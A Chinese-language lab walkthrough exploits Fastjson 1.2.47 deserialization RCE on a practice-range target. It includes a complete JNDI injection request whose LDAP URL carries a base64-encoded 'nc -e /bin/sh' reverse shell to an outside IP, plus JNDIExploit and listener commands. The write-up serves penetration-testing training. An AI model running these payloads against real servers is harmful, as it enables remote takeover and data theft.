靶机信息
可以通过访问极核官方靶场开启靶机实验:极核靶场 -> 渗透测试靶场 -> Fastjson 1.2.47 – 远程代码执行
![图片[1] - 【靶机实战】Fastjson 1.2.47 远程代码执行 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/05/image-36.png)
漏洞科普
Fastjson 1.2.47 远程代码执行漏洞(CNVD-2019-22238)的核心在于其反序列化机制缺陷与黑名单绕过手法的结合。攻击者可构造包含特殊 @type
字段的恶意 JSON 数据,利用 Fastjson 的 全局缓存机制 绕过 AutoType 白名单限制:当首次通过特定语法(如 Lcom.sun.rowset.JdbcRowSetImpl;
)加载高危类后,该类会被缓存,后续即使关闭 AutoType 仍可通过缓存直接实例化。结合 JNDI 注入,攻击者将 dataSourceName
指向恶意 LDAP/RMI 服务(如 ldap://attacker.com/Exploit
),触发目标服务器连接攻击者控制的远程地址并加载恶意类(如 Exploit.class
)。该漏洞的爆发需要同时满足:
- Fastjson ≤1.2.47;
- JDK 版本低于 8u191(未限制远程类加载);
- 目标存在对外暴露的 JSON 解析接口。成功利用将导致 远程代码执行(RCE),攻击者可完全控制服务器,进而窃取敏感数据、部署挖矿木马或横向渗透内网,危害等级为高危。
靶机实战
首先访问首页,点击左上角的登录按钮出现登录表单,表单内随便输入内容提交后进行抓包。
![图片[2] - 【靶机实战】Fastjson 1.2.47 远程代码执行 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/05/image-37.png)
![图片[3] - 【靶机实战】Fastjson 1.2.47 远程代码执行 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/05/image-38.png)
![图片[4] - 【靶机实战】Fastjson 1.2.47 远程代码执行 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/05/image-39.png)
构造 POST 数据,删除末尾的大括号使其报错,发现是标准的 fastjson 后端
![图片[5] - 【靶机实战】Fastjson 1.2.47 远程代码执行 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/05/image-40.png)
修改POST的Body体为如下数据,在 dnslog.cn / dnslog.org 上接收到请求,证明漏洞存在。
{
"@type":"java.net.Inet4Address",
"val":"6c6b0fb9.log.dnslog.myfw.us"
}
![图片[6] - 【靶机实战】Fastjson 1.2.47 远程代码执行 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/05/image-41.png)
![图片[7] - 【靶机实战】Fastjson 1.2.47 远程代码执行 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/05/image-42.png)
准备一台带公网IP的VPS,通过 【JNDI注入利用工具】JNDIExploit 工具架设恶意JNDI服务
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i <你的机器IP>
![图片[8] - 【靶机实战】Fastjson 1.2.47 远程代码执行 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/05/image-43.png)
接着在公网VPS上开启NC监听服务,用于接收反弹Shell
nc -lvp 12345
![图片[9] - 【靶机实战】Fastjson 1.2.47 远程代码执行 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/05/image-44.png)
构造如下数据包,将dataSourceName中的LDAP地址换为自己公网服务器的LDAP地址,其中需要将ldap://27.25.151.201:1389/Basic/Command/Base64/bmMgMjcuMjUuMTUxLjIwMSAxMjM0NSAtZSAvYmluL3No
中的bmMgMjcuMjUuMTUxLjIwMSAxMjM0NSAtZSAvYmluL3No
进行base64解码,然后将IP和NC监听端口改为自己设定的,然后重新base64编码进行替换。
PS:由于靶机无法进行sh反弹,只能使用NC
POST /login HTTP/1.1
Host: node.hackhub.get-shell.com:58072
Content-Length: 322
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: */*
Content-Type: application/json; charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: http://node.hackhub.get-shell.com:58072
Referer: http://node.hackhub.get-shell.com:58072/tologin
Accept-Encoding: gzip, deflate, br
Cookie: admin_session=a7d5dad3c6a70941c6ee1f72570b29b4
Connection: keep-alive
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://27.25.151.201:1389/Basic/Command/Base64/bmMgMjcuMjUuMTUxLjIwMSAxMjM0NSAtZSAvYmluL3No",
"autoCommit":true
}
}
得到反弹Shell后,直接查看根目录的Flag文件即可。
![图片[10] - 【靶机实战】Fastjson 1.2.47 远程代码执行 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/05/image-45.png)
暂无评论内容